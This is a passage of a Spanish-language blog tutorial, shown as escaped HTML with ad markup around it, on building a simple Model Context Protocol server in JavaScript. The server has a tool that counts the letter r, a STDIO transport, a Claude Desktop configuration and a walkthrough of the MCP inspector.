class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Maneja la comunicacion entre cliente y servidor&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; {McpServer} from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;@modelcontextprotocol/sdk/server/mcp.js&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; server &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; McpServer({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Strawberry Count&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    version&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1.0.0&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crear-mcp-tools-en-un-servidor-mcp&#34;&gt;Crear MCP tools en un servidor MCP&lt;/h2&gt;&#xA;&lt;p&gt;A continuación vamos a definir las herramientas o mcp tools, que nos permitirán recibir un parámetro del LLM, para que podamos hacer con él lo que querramos, en este caso contar sus r&amp;rsquo;s. Te hablé de las mcp tools en mi introducción al Model Context Protocol.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// server.tool(&amp;#34;&amp;lt;Name&amp;gt;&amp;#34;, &amp;#34;&amp;lt;Description&amp;gt;&amp;#34;, {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;server.tool(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Strawberry Count&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Count the number of r&amp;#39;s present in an strawberry variant&amp;#34;&lt;/span&gt;, {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    param&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.string().describe(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;The strawberry variant&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// callback &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// La IA detectará el param automáticamente del input del usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; ({ param }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            content&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    type&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;text&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    text&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;`The word has: &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;param.toLowerCase().split(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).filter(letter =&amp;gt; letter &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;r&amp;#34;&lt;/span&gt;).length&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; r&amp;#39;s`&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por favor nota que estamos contando las r&amp;rsquo;s manualmente, no hay ningún truco, procesamos el string que recibimos y devolvemos la cantidad de r&amp;rsquo;s.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Además, quiero destacar lo asombrosa que es la magia oscura que usa el LLM para obtener nuestro parámetro. Nuestro LLM detecta el parámetro que queremos recibir como parámetro de entrada directamente del usuario. ¿Cómo? utilizando como contexto la información de descripción que le pasamos al método &lt;em&gt;describe&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753317103/are-you-a-wizard_hlrgoi.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753317103/are-you-a-wizard_hlrgoi.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP meme&#34; width=&#34;500&#34; height=&#34;770&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Obviamente tú mcp tool no hará algo tan inútil como contar r&amp;rsquo;s, puedes obtener datos de una API, procesarlos, obtener información del sistema de archivos, o inclusive de otro LLM, lo que sea.&lt;/p&gt;&#xA;&lt;h2 id=&#34;de-donde-obtiene-el-contexto-el-llm&#34;&gt;¿De donde obtiene el contexto el LLM?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Para este ejemplo usaremos el STDIO (Standard Input Output), que es básicamente la entrada de texto del usuario.&lt;/p&gt;&#xA;&lt;p&gt;Pero recuerda que en mi introducción al MCP te hablé de otras alternativas: SSE y el HTTP Stream.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; transport &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; StdioServerTransport()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ejecutar-el-servidor-mcp-para-que-lea-del-stdio&#34;&gt;Ejecutar el servidor MCP para que lea del STDIO&lt;/h2&gt;&#xA;&lt;p&gt;Ahora vamos a conectar esta conexión con el servidor MCP, para que pueda tomar información directamente del STDIO.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; server.connect(transport)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;conexion-del-mcp-con-otras-aplicaciones&#34;&gt;Conexión del MCP con otras aplicaciones&lt;/h3&gt;&#xA;&lt;p&gt;Podemos conectar el servidor MCP con cualquier programa que soporte el MCP para poder utilizarlo.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo para Claude Desktop tendriamos que llenar el archivo &lt;em&gt;claude_desktop_config.json&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Observa como estamos declarando que el servidor MCP debe ejecutarse con el comando npx y a continuación la lista de argumentos en orden.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mcpservers&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;commando&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;npx&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;args&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;-y&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;node&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;full_path_to_js_file&amp;gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si quisieras utilizar typescript en lugar de javascript podrías hacer algo como esto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mcpservers&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;commando&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;npx&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;args&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;-y&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;tsx&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;full_path_to_ts_file&amp;gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;analizando-el-mcp-server-con-el-inspector&#34;&gt;Analizando el MCP server con el inspector&lt;/h2&gt;&#xA;&lt;p&gt;¿Cómo nos aseguramos de que nuestro servidor MCP funcione bien? Inspector de Claude permite testear y depurar los servidores MCP, podemos ver las tools que hemos creado, y emular su funcionamiento, sin embargo estas no utilizan el LLM, es un servidor plano que funciona como si nosotros fueramos el LLM.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-gui.jpg_oyzri4.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753313069/coffee-bytes/mcp-inspector-gui.jpg_oyzri4.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP Inspector GUI&#34; width=&#34;1904&#34; height=&#34;962&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Para ejecutarlo podemos usar &lt;em&gt;npx&lt;/em&gt; y le pasamos el comando que&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npx &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;y &lt;span style=&#34;color:#ff5c57&#34;&gt;@&lt;/span&gt;modelcontextprotocol&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;inspector &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;mcp_server_command&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Yo no fui capaz de ejecutar el comando reemplazando el comando. Lo intenté con el comando con el directorio relativo y también con el absoluto pero no podía conectarme al servidor, desconozco el porque.&lt;/p&gt;&#xA;&lt;p&gt;Sin embargo, sí funcionó llenando los datos manualmente en la interfaz gráfica del inspector.&lt;/p&gt;&#xA;&lt;p&gt;Tras ejecutar el inspector tendremos un servidor corriendo en el puerto 6274 (por defecto, pero puede cambiarse).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npx &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;y &lt;span style=&#34;color:#ff5c57&#34;&gt;@&lt;/span&gt;modelcontextprotocol&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;inspector npm index.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npx &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;y &lt;span style=&#34;color:#ff5c57&#34;&gt;@&lt;/span&gt;modelcontextprotocol&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;inspector npm &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;home&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;dir&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;mcp&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;server&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;index.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A continuación llenamos el &lt;em&gt;transport type&lt;/em&gt; y los comandos, en caso de que hayas tenido el mismo problema que yo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; 